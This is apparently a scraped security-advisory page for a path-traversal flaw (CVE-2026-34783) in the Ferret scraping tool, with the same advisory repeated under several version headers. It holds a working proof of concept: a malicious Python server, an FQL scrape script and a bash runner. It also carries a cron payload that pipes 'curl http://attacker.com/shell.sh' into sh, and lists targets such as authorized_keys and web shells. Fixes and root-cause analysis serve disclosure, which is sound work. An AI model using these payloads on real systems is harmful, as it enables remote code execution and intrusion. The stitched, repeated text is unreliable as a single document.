=== Ferret Path Traversal PoC ===

[*] Running innocent-looking scrape script...

[{"written":"/tmp/ferret_output/legit-article.txt","name":"legit-article"},
 {"written":"/tmp/ferret_output/../../tmp/pwned.txt","name":"../../tmp/pwned"}]

=== Results ===

[*] Files in intended output directory (/tmp/ferret_output/):
-rw-r--r--  1 user user  46 Mar 27 18:23 legit-article.txt

[!] VULNERABILITY CONFIRMED: /tmp/pwned.txt exists OUTSIDE the output directory!

    Contents:
    ATTACKER_CONTROLLED_CONTENT
    # * * * * * root curl http://attacker.com/shell.sh | sh

Suggested Fix

Option 1: Reject path traversal in `IO::FS::WRITE` and `IO::FS::READ`

Resolve the path and verify it doesn't contain .. after cleaning:

func safePath(userPath string) (string, error) {
    cleaned := filepath.Clean(userPath)
    if strings.Contains(cleaned, "..") {
        return "", fmt.Errorf("path traversal detected: %q", userPath)
    }
    return cleaned, nil
}

Option 2: Base directory enforcement (stronger)

Add an optional base directory that FS operations are jailed to:

func safePathWithBase(base, userPath string) (string, error) {
    absBase, _ := filepath.Abs(base)
    full := filepath.Join(absBase, filepath.Clean(userPath))
    resolved, err := filepath.EvalSymlinks(full)
    if err != nil {
        return "", err
    }
    if !strings.HasPrefix(resolved, absBase+string(filepath.Separator)) {
        return "", fmt.Errorf("path %q escapes base directory %q", userPath, base)
    }
    return resolved, nil
}

Root Cause

IO::FS::WRITE in pkg/stdlib/io/fs/write.go passes user-supplied file paths directly to os.OpenFile with no sanitization:

file, err := os.OpenFile(string(fpath), params.ModeFlag, 0666)

There is no:

Path canonicalization (filepath.Clean, filepath.Abs, filepath.EvalSymlinks)
Base directory enforcement (checking the resolved path stays within an intended directory)
Traversal sequence rejection (blocking .. components)
Symlink resolution

The same issue exists in IO::FS::READ (pkg/stdlib/io/fs/read.go):

data, err := os.ReadFile(path.String())

The PATH::CLEAN and PATH::JOIN standard library functions do not mitigate this because they use Go's path package (URL-style paths), not path/filepath, and even path.Join("/output", "../../etc/cron.d/evil") resolves to /etc/cron.d/evil -- it normalizes the traversal rather than blocking it.

References

Updated Jul 24, 2026 · Source: OSV.dev

Feb 11, 2022

v0.16.5 patch

1 CVE

CVE-2026-34783 GHSA-j6v5-g24h-vg4j GO-2026-5452 Apr 01, 2026

Ferret: Path Traversal in IO::FS::WRITE allows arbitrary file write when scraping malicious websites

8.1 / 10

High

Network Low None Required Unchanged None High High

Summary

A path traversal vulnerability in Ferret's IO::FS::WRITE standard library function allows a malicious website to write arbitrary files to the filesystem of the machine running Ferret. When an operator scrapes a website that returns filenames containing ../ sequences, and uses those filenames to construct output paths (a standard scraping pattern), the attacker controls both the destination path and the file content. This can lead to remote code execution via cron jobs, SSH authorized_keys, shell profiles, or web shells.

Exploitation

The attacker hosts a malicious website. The victim is an operator running Ferret to scrape it. The operator writes a standard scraping query that saves scraped files using filenames from the website -- a completely normal and expected pattern.

Attack Flow

The attacker serves a JSON API with crafted filenames containing ../ traversal:

[
  {"name": "legit-article", "content": "Normal content."},
  {"name": "../../etc/cron.d/evil", "content": "* * * * * root curl http://attacker.com/shell.sh | sh\n"}
]

The victim runs a standard scraping script:

LET response = IO::NET::HTTP::GET({url: "http://evil.com/api/articles"})
LET articles = JSON_PARSE(TO_STRING(response))

FOR article IN articles
    LET path = "/tmp/ferret_output/" + article.name + ".txt"
    IO::FS::WRITE(path, TO_BINARY(article.content))
    RETURN { written: path, name: article.name }

FQL string concatenation produces: /tmp/ferret_output/../../etc/cron.d/evil.txt
os.OpenFile resolves ../.. and writes to /etc/cron.d/evil.txt -- outside the intended output directory
The attacker achieves arbitrary file write with controlled content, leading to code execution.

Realistic Targets

| Target Path | Impact | |-------------|--------| | /etc/cron.d/<name> | Command execution via cron | | ~/.ssh/authorized_keys | SSH access to the machine | | ~/.bashrc or ~/.profile | Command execution on next login | | /var/www/html/<name>.php | Web shell | | Application config files | Credential theft, privilege escalation |

Proof of Concept

Files

Three files are provided in the poc/ directory:

evil_server.py -- Malicious web server returning traversal payloads:

"""Malicious server that returns filenames with path traversal."""
import json
from http.server import HTTPServer, BaseHTTPRequestHandler

class EvilHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == "/api/articles":
            self.send_response(200)
            self.send_header("Content-Type", "application/json")
            self.end_headers()
            payload = [
                {"name": "legit-article",
                 "content": "This is a normal article."},
                {"name": "../../tmp/pwned",
                 "content": "ATTACKER_CONTROLLED_CONTENT\n"
                            "# * * * * * root curl http://attacker.com/shell.sh | sh\n"},
            ]
            self.wfile.write(json.dumps(payload).encode())
        else:
            self.send_response(404)
            self.end_headers()

if __name__ == "__main__":
    server = HTTPServer(("0.0.0.0", 9444), EvilHandler)
    print("Listening on :9444")
    server.serve_forever()

scrape.fql -- Innocent-looking Ferret scraping script:

LET response = IO::NET::HTTP::GET({url: "http://127.0.0.1:9444/api/articles"})
LET articles = JSON_PARSE(TO_STRING(response))

FOR article IN articles
    LET path = "/tmp/ferret_output/" + article.name + ".txt"
    LET data = TO_BINARY(article.content)
    IO::FS::WRITE(path, data)
    RETURN { written: path, name: article.name }

run_poc.sh -- Orchestration script (expects the server to be running separately):

#!/bin/bash
set -e
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
REPO_ROOT="$(cd "$SCRIPT_DIR/.." && pwd)"
FERRET="$REPO_ROOT/bin/ferret"

echo "=== Ferret Path Traversal PoC ==="
[ ! -f "$FERRET" ] && (cd "$REPO_ROOT" && go build -o ./bin/ferret ./test/e2e/cli.go)

rm -rf /tmp/ferret_output && rm -f /tmp/pwned.txt && mkdir -p /tmp/ferret_output

echo "[*] Running scrape script..."
"$FERRET" "$SCRIPT_DIR/scrape.fql" 2>/dev/null || true

if [ -f "/tmp/pwned.txt" ]; then
    echo "[!] VULNERABILITY CONFIRMED: /tmp/pwned.txt written OUTSIDE output directory"
    cat /tmp/pwned.txt
fi

Reproduction Steps

# Terminal 1: start malicious server
python3 poc/evil_server.py

# Terminal 2: build and run
go build -o ./bin/ferret ./test/e2e/cli.go
bash poc/run_poc.sh

# Verify: /tmp/pwned.txt exists outside /tmp/ferret_output/
cat /tmp/pwned.txt

Observed Output

=== Ferret Path Traversal PoC ===

[*] Running innocent-looking scrape script...

[{"written":"/tmp/ferret_output/legit-article.txt","name":"legit-article"},
 {"written":"/tmp/ferret_output/../../tmp/pwned.txt","name":"../../tmp/pwned"}]

=== Results ===

[*] Files in intended output directory (/tmp/ferret_output/):
-rw-r--r--  1 user user  46 Mar 27 18:23 legit-article.txt

[!] VULNERABILITY CONFIRMED: /tmp/pwned.txt exists OUTSIDE the output directory!

    Contents:
    ATTACKER_CONTROLLED_CONTENT
    # * * * * * root curl http://attacker.com/shell.sh | sh

Suggested Fix

Option 1: Reject path traversal in `IO::FS::WRITE` and `IO::FS::READ`

Resolve the path and verify it doesn't contain .. after cleaning:

func safePath(userPath string) (string, error) {
    cleaned := filepath.Clean(userPath)
    if strings.Contains(cleaned, "..") {
        return "", fmt.Errorf("path traversal detected: %q", userPath)
    }
    return cleaned, nil
}

Option 2: Base directory enforcement (stronger)

Add an optional base directory that FS operations are jailed to:

func safePathWithBase(base, userPath string) (string, error) {
    absBase, _ := filepath.Abs(base)
    full := filepath.Join(absBase, filepath.Clean(userPath))
    resolved, err := filepath.EvalSymlinks(full)
    if err != nil {
        return "", err
    }
    if !strings.HasPrefix(resolved, absBase+string(filepath.Separator)) {
        return "", fmt.Errorf("path %q escapes base directory %q", userPath, base)
    }
    return resolved, nil
}

Root Cause

IO::FS::WRITE in pkg/stdlib/io/fs/write.go passes user-supplied file paths directly to os.OpenFile with no sanitization:

file, err := os.OpenFile(string(fpath), params.ModeFlag, 0666)

There is no:

Path canonicalization (filepath.Clean, filepath.Abs, filepath.EvalSymlinks)
Base directory enforcement (checking the resolved path stays within an intended directory)
Traversal sequence rejection (blocking .. components)
Symlink resolution

The same issue exists in IO::FS::READ (pkg/stdlib/io/fs/read.go):

data, err := os.ReadFile(path.String())

The PATH::CLEAN and PATH::JOIN standard library functions do not mitigate this because they use Go's path package (URL-style paths), not path/filepath, and even path.Join("/output", "../../etc/cron.d/evil") resolves to /etc/cron.d/evil -- it normalizes the traversal rather than blocking it.

References

Updated Jul 24, 2026 · Source: OSV.dev

Jan 17, 2022

v0.16.4 patch

1 CVE

CVE-2026-34783 GHSA-j6v5-g24h-vg4j GO-2026-5452 Apr 01, 2026

Ferret: Path Traversal in IO::FS::WRITE allows arbitrary file write when scraping malicious websites

8.1 / 10

High

Network Low None Required Unchanged None High High

Summary

A path traversal vulnerability in Ferret's IO::FS::WRITE standard library function allows a malicious website to write arbitrary files to the filesystem of the machine running Ferret. When an operator scrapes a website that returns filenames containing ../ sequences, and uses those filenames to construct output paths (a standard scraping pattern), the attacker controls both the destination path and the file content. This can lead to remote code execution via cron jobs, SSH authorized_keys, shell profiles, or web shells.

Exploitation

The attacker hosts a malicious website. The victim is an operator running Ferret to scrape it. The operator writes a standard scraping query that saves scraped files using filenames from the website -- a completely normal and expected pattern.

Attack Flow

The attacker serves a JSON API with crafted filenames containing ../ traversal:

[
  {"name": "legit-article", "content": "Normal content."},
  {"name": "../../etc/cron.d/evil", "content": "* * * * * root curl http://attacker.com/shell.sh | sh\n"}
]

The victim runs a standard scraping script:

LET response = IO::NET::HTTP::GET({url: "http://evil.com/api/articles"})
LET articles = JSON_PARSE(TO_STRING(response))

FOR article IN articles
    LET path = "/tmp/ferret_output/" + article.name + ".txt"
    IO::FS::WRITE(path, TO_BINARY(article.content))
    RETURN { written: path, name: article.name }

FQL string concatenation produces: /tmp/ferret_output/../../etc/cron.d/evil.txt
os.OpenFile resolves ../.. and writes to /etc/cron.d/evil.txt -- outside the intended output directory
The attacker achieves arbitrary file write with controlled content, leading to code execution.

Realistic Targets

| Target Path | Impact | |-------------|--------| | /etc/cron.d/<name> | Command execution via cron | | ~/.ssh/authorized_keys | SSH access to the machine | | ~/.bashrc or ~/.profile | Command execution on next login | | /var/www/html/<name>.php | Web shell | | Application config files | Credential theft, privilege escalation |

Proof of Concept

Files

Three files are provided in the poc/ directory:

evil_server.py -- Malicious web server returning traversal payloads:

"""Malicious server that returns filenames with path traversal."""
import json
from http.server import HTTPServer, BaseHTTPRequestHandler

class EvilHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == "/api/articles":
            self.send_response(200)
            self.send_header("Content-Type", "application/json")
            self.end_headers()
            payload = [
                {"name": "legit-article",
                 "content": "This is a normal article."},
                {"name": "../../tmp/pwned",
                 "content": "ATTACKER_CONTROLLED_CONTENT\n"
                            "# * * * * * root curl http://attacker.com/shell.sh | sh\n"},
            ]
            self.wfile.write(json.dumps(payload).encode())
        else:
            self.send_response(404)
            self.end_headers()

if __name__ == "__main__":
    server = HTTPServer(("0.0.0.0", 9444), EvilHandler)
    print("Listening on :9444")
    server.serve_forever()

scrape.fql -- Innocent-looking Ferret scraping script:

LET response = IO::NET::HTTP::GET({url: "http://127.0.0.1:9444/api/articles"})
LET articles = JSON_PARSE(TO_STRING(response))

FOR article IN articles
    LET path = "/tmp/ferret_output/" + article.name + ".txt"
    LET data = TO_BINARY(article.content)
    IO::FS::WRITE(path, data)
    RETURN { written: path, name: article.name }

run_poc.sh -- Orchestration script (expects the server to be running separately):

#!/bin/bash
set -e
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
REPO_ROOT="$(cd "$SCRIPT_DIR/.." && pwd)"
FERRET="$REPO_ROOT/bin/ferret"

echo "=== Ferret Path Traversal PoC ==="
[ ! -f "$FERRET" ] && (cd "$REPO_ROOT" && go build -o ./bin/ferret ./test/e2e/cli.go)

rm -rf /tmp/ferret_output && rm -f /tmp/pwned.txt && mkdir -p /tmp/ferret_output

echo "[*] Running scrape script..."
"$FERRET" "$SCRIPT_DIR/scrape.fql" 2>/dev/null || true

if [ -f "/tmp/pwned.txt" ]; then
    echo "[!] VULNERABILITY CONFIRMED: /tmp/pwned.txt written OUTSIDE output directory"
    cat /tmp/pwned.txt
fi

Reproduction Steps

# Terminal 1: start malicious server
python3 poc/evil_server.py

# Terminal 2: build and run
go build -o ./bin/ferret ./test/e2e/cli.go
bash poc/run_poc.sh

# Verify: /tmp/pwned.txt exists outside /tmp/ferret_output/
cat /tmp/pwned.txt

Observed Output

=== Ferret Path Traversal PoC ===

[*] Running innocent-looking scrape script...

[{"written":"/tmp/ferret_output/legit-article.txt","name":"legit-article"},
 {"written":"/tmp/ferret_output/../../tmp/pwned.txt","name":"../../tmp/pwned"}]

=== Results ===

[*] Files in intended output directory (/tmp/ferret_output/):
-rw-r--r--  1 user user  46 Mar 27 18:23 legit-article.txt

[!] VULNERABILITY CONFIRMED: /tmp/pwned.txt exists OUTSIDE the output directory!

    Contents:
    ATTACKER_CONTROLLED_CONTENT
    # * * * * * root curl http://attacker.com/shell.sh | sh

Suggested Fix

Option 1: Reject path traversal in `IO::FS::WRITE` and `IO::FS::READ`

Resolve the path and verify it doesn't contain .. after cleaning:

func safePath(userPath string) (string, error) {
    cleaned := filepath.Clean(userPath)
    if strings.Contains(cleaned, "..") {
        return "", fmt.Errorf("path traversal detected: %q", userPath)
    }
    return cleaned, nil
}

Option 2: Base directory enforcement (stronger)

Add an optional base directory that FS operations are jailed to:

func safePathWithBase(base, userPath string) (string, error) {
    absBase, _ := filepath.Abs(base)
    full := filepath.Join(absBase, filepath.Clean(userPath))
    resolved, err := filepath.EvalSymlinks(full)
    if err != nil {
        return "", err
    }
    if !strings.HasPrefix(resolved, absBase+string(filepath.Separator)) {
        return "", fmt.Errorf("path %q escapes base directory %q", userPath, base)
    }
    return resolved, nil
}

Root Cause

IO::FS::WRITE in pkg/stdlib/io/fs/write.go passes user-supplied file paths directly to os.OpenFile with no sanitization:

file, err := os.OpenFile(string(fpath), params.ModeFlag, 0666)

There is no:

Path canonicalization (filepath.Clean, filepath.Abs, filepath.EvalSymlinks)
Base directory enforcement (checking the resolved path stays within an intended directory)
Traversal sequence rejection (blocking .. components)
Symlink resolution

The same issue exists in IO::FS::READ (pkg/stdlib/io/fs/read.go):

data, err := os.ReadFile(path.String())

The PATH::CLEAN and PATH::JOIN standard library functions do not mitigate this because they use Go's path package (URL-style paths), not path/filepath, and even path.Join("/output", "../../etc/cron.d/evil") resolves to /etc/cron.d/evil -- it normalizes the traversal rather than blocking it.

References

Updated Jul 24, 2026 · Source: OSV.dev

Jan 03, 2022

v0.16.3 patch

1 CVE

CVE-2026-34783 GHSA-j6v5-g24h-vg4j GO-2026-5452 Apr 01, 2026

Ferret: Path Traversal in IO::FS::WRITE allows arbitrary file write when scraping malicious websites

8.1 / 10

High

Network Low None Required Unchanged None High High

Summary

A path traversal vulnerability in Ferret's IO::FS::WRITE standard library function allows a malicious website to write arbitrary files to the filesystem of the machine running Ferret. When an operator scrapes a website that returns filenames containing ../ sequences, and uses those filenames to construct output paths (a standard scraping pattern), the attacker controls both the destination path and the file content. This can lead to remote code execution via cron jobs, SSH authorized_keys, shell profiles, or web shells.

Exploitation

The attacker hosts a malicious website. The victim is an operator running Ferret to scrape it. The operator writes a standard scraping query that saves scraped files using filenames from the website -- a completely normal and expected pattern.

Attack Flow

The attacker serves a JSON API with crafted filenames containing ../ traversal:

[
  {"name": "legit-article", "content": "Normal content."},
  {"name": "../../etc/cron.d/evil", "content": "* * * * * root curl http://attacker.com/shell.sh | sh\n"}
]

The victim runs a standard scraping script:

LET response = IO::NET::HTTP::GET({url: "http://evil.com/api/articles"})
LET articles = JSON_PARSE(TO_STRING(response))

FOR article IN articles
    LET path = "/tmp/ferret_output/" + article.name + ".txt"
    IO::FS::WRITE(path, TO_BINARY(article.content))
    RETURN { written: path, name: article.name }

FQL string concatenation produces: /tmp/ferret_output/../../etc/cron.d/evil.txt
os.OpenFile resolves ../.. and writes to /etc/cron.d/evil.txt -- outside the intended output directory
The attacker achieves arbitrary file write with controlled content, leading to code execution.

Realistic Targets

| Target Path | Impact | |-------------|--------| | /etc/cron.d/<name> | Command execution via cron | | ~/.ssh/authorized_keys | SSH access to the machine | | ~/.bashrc or ~/.profile | Command execution on next login | | /var/www/html/<name>.php | Web shell | | Application config files | Credential theft, privilege escalation |

Proof of Concept

Files

Three files are provided in the poc/ directory:

evil_server.py -- Malicious web server returning traversal payloads:

"""Malicious server that returns filenames with path traversal."""
import json
from http.server import HTTPServer, BaseHTTPRequestHandler

class EvilHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == "/api/articles":
            self.send_response(200)
            self.send_header("Content-Type", "application/json")
            self.end_headers()
            payload = [
                {"name": "legit-article",
                 "content": "This is a normal article."},
                {"name": "../../tmp/pwned",
                 "content": "ATTACKER_CONTROLLED_CONTENT\n"
                            "# * * * * * root curl http://attacker.com/shell.sh | sh\n"},
            ]
            self.wfile.write(json.dumps(payload).encode())
        else:
            self.send_response(404)
            self.end_headers()

if __name__ == "__main__":
    server = HTTPServer(("0.0.0.0", 9444), EvilHandler)
    print("Listening on :9444")
    server.serve_forever()

scrape.fql -- Innocent-looking Ferret scraping script:

LET response = IO::NET::HTTP::GET({url: "http://127.0.0.1:9444/api/articles"})
LET articles = JSON_PARSE(TO_STRING(response))

FOR article IN articles
    LET path = "/tmp/ferret_output/" + article.name + ".txt"
    LET data = TO_BINARY(article.content)
    IO::FS::WRITE(path, data)
    RETURN { written: path, name: article.name }

run_poc.sh -- Orchestration script (expects the server to be running separately):

#!/bin/bash
set -e
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
REPO_ROOT="$(cd "$SCRIPT_DIR/.." && pwd)"
FERRET="$REPO_ROOT/bin/ferret"

echo "=== Ferret Path Traversal PoC ==="
[ ! -f "$FERRET" ] && (cd "$REPO_ROOT" && go build -o ./bin/ferret ./test/e2e/cli.go)

rm -rf /tmp/ferret_output && rm -f /tmp/pwned.txt && mkdir -p /tmp/ferret_output

echo "[*] Running scrape script..."
"$FERRET" "$SCRIPT_DIR/scrape.fql" 2>/dev/null || true

if [ -f "/tmp/pwned.txt" ]; then
    echo "[!] VULNERABILITY CONFIRMED: /tmp/pwned.txt written OUTSIDE output directory"
    cat /tmp/pwned.txt
fi

Reproduction Steps

# Terminal 1: start malicious server
python3 poc/evil_server.py

# Terminal 2: build and run
go build -o ./bin/ferret ./test/e2e/cli.go
bash poc/run_poc.sh

# Verify: /tmp/pwned.txt exists outside /tmp/ferret_output/
cat /tmp/pwned.txt

Observed Output

=== Ferret Path Traversal PoC ===

[*] Running innocent-looking scrape script...

[{"written":"/tmp/ferret_output/legit-article.txt","name":"legit-article"},
 {"written":"/tmp/ferret_output/../../tmp/pwned.txt","name":"../../tmp/pwned"}]

=== Results ===

[*] Files in intended output directory (/tmp/ferret_output/):
-rw-r--r--  1 user user  46 Mar 27 18:23 legit-article.txt

[!] VULNERABILITY CONFIRMED: /tmp/pwned.txt exists OUTSIDE the output directory!

    Contents:
    ATTACKER_CONTROLLED_CONTENT
    # * * * * * root curl http://attacker.com/shell.sh | sh

Suggested Fix

Option 1: Reject path traversal in `IO::FS::WRITE` and `IO::FS::READ`

Resolve the path and verify it doesn't contain .. after cleaning:

func safePath(userPath string) (string, error) {
    cleaned := filepath.Clean(userPath)
    if strings.Contains(cleaned, "..") {
        return "", fmt.Errorf("path traversal detected: %q", userPath)
    }
    return cleaned, nil
}

Option 2: Base directory enforcement (stronger)

Add an optional base directory that FS operations are jailed to:

func safePathWithBase(base, userPath string) (string, error) {
    absBase, _ := filepath.Abs(base)
    full := filepath.Join(absBase, filepath.Clean(userPath))
    resolved, err := filepath.EvalSymlinks(full)
    if err != nil {
        return "", err
    }
    if !strings.HasPrefix(resolved, absBase+string(filepath.Separator)) {
        return "", fmt.Errorf("path %q escapes base directory %q", userPath, base)
    }
    return resolved, nil
}

Root Cause

IO::FS::WRITE in pkg/stdlib/io/fs/write.go passes user-supplied file paths directly to os.OpenFile with no sanitization:

file, err := os.OpenFile(string(fpath), params.ModeFlag, 0666)

There is no:

Path canonicalization (filepath.Clean, filepath.Abs, filepath.EvalSymlinks)
Base directory enforcement (checking the resolved path stays within an intended directory)
Traversal sequence rejection (blocking .. components)
Symlink resolution

The same issue exists in IO::FS::READ (pkg/stdlib/io/fs/read.go):

data, err := os.ReadFile(path.String())

The PATH::CLEAN and PATH::JOIN standard library functions do not mitigate this because they use Go's path package (URL-style paths), not path/filepath, and even path.Join("/output", "../../etc/cron.d/evil") resolves to /etc/cron.d/evil -- it normalizes the traversal rather than blocking it.

References

Updated Jul 24, 2026 · Source: OSV.dev

Dec 23, 2021

v0.16.2 patch

1 CVE

CVE-2026-34783 GHSA-j6v5-g24h-vg4j GO-2026-5452 Apr 01, 2026

Ferret: Path Traversal in IO::FS::WRITE allows arbitrary file write when scraping malicious websites

8.1 / 10

High

Network Low None Required Unchanged None High High

Summary

A path traversal vulnerability in Ferret's IO::FS::WRITE standard library function allows a malicious website to write arbitrary files to the filesystem of the machine running Ferret. When an operator scrapes a website that returns filenames containing ../ sequences, and uses those filenames to construct output paths (a standard scraping pattern), the attacker controls both the destination path and the file content. This can lead to remote code execution via cron jobs, SSH authorized_keys, shell profiles, or web shells.

Exploitation

The attacker hosts a malicious website. The victim is an operator running Ferret to scrape it. The operator writes a standard scraping query that saves scraped files using filenames from the website -- a completely normal and expected pattern.

Attack Flow

The attacker serves a JSON API with crafted filenames containing ../ traversal:

[
  {"name": "legit-article", "content": "Normal content."},
  {"name": "../../etc/cron.d/evil", "content": "* * * * * root curl http://attacker.com/shell.sh | sh\n"}
]

The victim runs a standard scraping script:

LET response = IO::NET::HTTP::GET({url: "http://evil.com/api/articles"})
LET articles = JSON_PARSE(TO_STRING(response))

FOR article IN articles
    LET path = "/tmp/ferret_output/" + article.name + ".txt"
    IO::FS::WRITE(path, TO_BINARY(article.content))
    RETURN { written: path, name: article.name }

FQL string concatenation produces: /tmp/ferret_output/../../etc/cron.d/evil.txt
os.OpenFile resolves ../.. and writes to /etc/cron.d/evil.txt -- outside the intended output directory
The attacker achieves arbitrary file write with controlled content, leading to code execution.

Realistic Targets

| Target Path | Impact | |-------------|--------| | /etc/cron.d/<name> | Command execution via cron | | ~/.ssh/authorized_keys | SSH access to the machine | | ~/.bashrc or ~/.profile | Command execution on next login | | /var/www/html/<name>.php | Web shell | | Application config files | Credential theft, privilege escalation |

Proof of Concept

Files

Three files are provided in the poc/ directory:

evil_server.py -- Malicious web server returning traversal payloads:

"""Malicious server that returns filenames with path traversal."""
import json
from http.server import HTTPServer, BaseHTTPRequestHandler

class EvilHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == "/api/articles":
            self.send_response(200)
            self.send_header("Content-Type", "application/json")
            self.end_headers()
            payload = [
                {"name": "legit-article",
                 "content": "This is a normal article."},
                {"name": "../../tmp/pwned",
                 "content": "ATTACKER_CONTROLLED_CONTENT\n"
                            "# * * * * * root curl http://attacker.com/shell.sh | sh\n"},
            ]
            self.wfile.write(json.dumps(payload).encode())
        else:
            self.send_response(404)
            self.end_headers()

if __name__ == "__main__":
    server = HTTPServer(("0.0.0.0", 9444), EvilHandler)
    print("Listening on :9444")
    server.serve_forever()

scrape.fql -- Innocent-looking Ferret scraping script:

LET response = IO::NET::HTTP::GET({url: "http://127.0.0.1:9444/api/articles"})
LET articles = JSON_PARSE(TO_STRING(response))

FOR article IN articles
    LET path = "/tmp/ferret_output/" + article.name + ".txt"
    LET data = TO_BINARY(article.content)
    IO::FS::WRITE(path, data)
    RETURN { written: path, name: article.name }

run_poc.sh -- Orchestration script (expects the server to be running separately):

#!/bin/bash
set -e
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
REPO_ROOT="$(cd "$SCRIPT_DIR/.." && pwd)"
FERRET="$REPO_ROOT/bin/ferret"

echo "=== Ferret Path Traversal PoC ==="
[ ! -f "$FERRET" ] && (cd "$REPO_ROOT" && go build -o ./bin/ferret ./test/e2e/cli.go)

rm -rf /tmp/ferret_output && rm -f /tmp/pwned.txt && mkdir -p /tmp/ferret_output

echo "[*] Running scrape script..."
"$FERRET" "$SCRIPT_DIR/scrape.fql" 2>/dev/null || true

if [ -f "/tmp/pwned.txt" ]; then
    echo "[!] VULNERABILITY CONFIRMED: /tmp/pwned.txt written OUTSIDE output directory"
    cat /tmp/pwned.txt
fi

Reproduction Steps

# Terminal 1: start malicious server
python3 poc/evil_server.py

# Terminal 2: build and run
go build -o ./bin/ferret ./test/e2e/cli.go
bash poc/run_poc.sh

# Verify: /tmp/pwned.txt exists outside /tmp/ferret_output/
cat /tmp/pwned.txt

Observed Output

=== Ferret Path Traversal PoC ===

[*] Running innocent-looking scrape script...

[{"written":"/tmp/ferret_output/legit-article.txt","name":"legit-article"},
 {"written":"/tmp/ferret_output/../../tmp/pwned.txt","name":"../../tmp/pwned"}]

=== Results ===

[*] Files in intended output directory (/tmp/ferret_output/):
-rw-r--r--  1 user user  46 Mar 27 18:23 legit-article.txt

[!] VULNERABILITY CONFIRMED: /tmp/pwned.txt exists OUTSIDE the output directory!

    Contents:
    ATTACKER_CONTROLLED_CONTENT
    # * * * * * root curl http://attacker.com/shell.sh | sh

Suggested Fix

Option 1: Reject path traversal in `IO::FS::WRITE` and `IO::FS::READ`

Resolve the path and verify it doesn't contain .. after cleaning:

func safePath(userPath string) (string, error) {
    cleaned := filepath.Clean(userPath)
    if strings.Contains(cleaned, "..") {
        return "", fmt.Errorf("path traversal detected: %q", userPath)
    }
    return cleaned, nil
}

Option 2: Base directory enforcement (stronger)

Add an optional base directory that FS operations are jailed to:

func safePathWithBase(base, userPath string) (string, error) {
    absBase, _ := filepath.Abs(base)
    full := filepath.Join(absBase, filepath.Clean(userPath))
    resolved, err := filepath.EvalSymlinks(full)
    if err != nil {
        return "", err
    }
    if !strings.HasPrefix(resolved, absBase+string(filepath.Separator)) {
        return "", fmt.Errorf("path %q escapes base directory %q", userPath, base)
    }
    return resolved, nil
}

Root Cause

IO::FS::WRITE in pkg/stdlib/io/fs/write.go passes user-supplied file paths directly to os.OpenFile with no sanitization:

file, err := os.OpenFile(string(fpath), params.ModeFlag, 0666)

There is no:

Path canonicalization (filepath.Clean, filepath.Abs, filepath.EvalSymlinks)
Base directory enforcement (checking the resolved path stays within an intended directory)
Traversal sequence rejection (blocking .. components)
Symlink resolution

The same issue exists in IO::FS::READ (pkg/stdlib/io/fs/read.go):

data, err := os.ReadFile(path.String())

The PATH::CLEAN and PATH::JOIN standard library functions do not mitigate this because they use Go's path package (URL-style paths), not path/filepath, and even path.Join("/output", "../../etc/cron.d/evil") resolves to /etc/cron.d/evil -- it normalizes the traversal rather than blocking it.

References

Updated Jul 24, 2026 · Source: OSV.dev

Dec 13, 2021

v0.16.1 patch

1 CVE

CVE-2026-34783 GHSA-j6v5-g24h-vg4j GO-2026-5452 Apr 01, 2026

Ferret: Path Traversal in IO::FS::WRITE allows arbitrary file write when scraping malicious websites

8.1 / 10

High

Network Low None Required Unchanged None High High

Summary

A path traversal vulnerability in Ferret's IO::FS::WRITE standard library function allows a malicious website to write arbitrary files to the filesystem of the machine running Ferret. When an operator scrapes a website that returns filenames containing ../ sequences, and uses those filenames to construct output paths (a standard scraping pattern), the attacker controls both the destination path and the file content. This can lead to remote code execution via cron jobs, SSH authorized_keys, shell profiles, or web shells.

Exploitation

The attacker hosts a malicious website. The victim is an operator running Ferret to scrape it. The operator writes a standard scraping query that saves scraped files using filenames from the website -- a completely normal and expected pattern.

Attack Flow

The attacker serves a JSON API with crafted filenames containing ../ traversal:

[
  {"name": "legit-article", "content": "Normal content."},
  {"name": "../../etc/cron.d/evil", "content": "* * * * * root curl http://attacker.com/shell.sh | sh\n"}
]

The victim runs a standard scraping script:

LET response = IO::NET::HTTP::GET({url: "http://evil.com/api/articles"})
LET articles = JSON_PARSE(TO_STRING(response))

FOR article IN articles
    LET path = "/tmp/ferret_output/" + article.name + ".txt"
    IO::FS::WRITE(path, TO_BINARY(article.content))
    RETURN { written: path, name: article.name }

FQL string concatenation produces: /tmp/ferret_output/../../etc/cron.d/evil.txt
os.OpenFile resolves ../.. and writes to /etc/cron.d/evil.txt -- outside the intended output directory
The attacker achieves arbitrary file write with controlled content, leading to code execution.

Realistic Targets

| Target Path | Impact | |-------------|--------| | /etc/cron.d/<name> | Command execution via cron | | ~/.ssh/authorized_keys | SSH access to the machine | | ~/.bashrc or ~/.profile | Command execution on next login | | /var/www/html/<name>.php | Web shell | | Application config files | Credential theft, privilege escalation |

Proof of Concept

Files

Three files are provided in the poc/ directory:

evil_server.py -- Malicious web server returning traversal payloads:

"""Malicious server that returns filenames with path traversal."""
import json
from http.server import HTTPServer, BaseHTTPRequestHandler

class EvilHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == "/api/articles":
            self.send_response(200)
            self.send_header("Content-Type", "application/json")
            self.end_headers()
            payload = [
                {"name": "legit-article",
                 "content": "This is a normal article."},
                {"name": "../../tmp/pwned",
                 "content": "ATTACKER_CONTROLLED_CONTENT\n"
                            "# * * * * * root curl http://attacker.com/shell.sh | sh\n"},
            ]
            self.wfile.write(json.dumps(payload).encode())
        else:
            self.send_response(404)
            self.end_headers()

if __name__ == "__main__":
    server = HTTPServer(("0.0.0.0", 9444), EvilHandler)
    print("Listening on :9444")
    server.serve_forever()

scrape.fql -- Innocent-looking Ferret scraping script:

LET response = IO::NET::HTTP::GET({url: "http://127.0.0.1:9444/api/articles"})
LET articles = JSON_PARSE(TO_STRING(response))

FOR article IN articles
    LET path = "/tmp/ferret_output/" + article.name + ".txt"
    LET data = TO_BINARY(article.content)
    IO::FS::WRITE(path, data)
    RETURN { written: path, name: article.name }

run_poc.sh -- Orchestration script (expects the server to be running separately):

#!/bin/bash
set -e
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
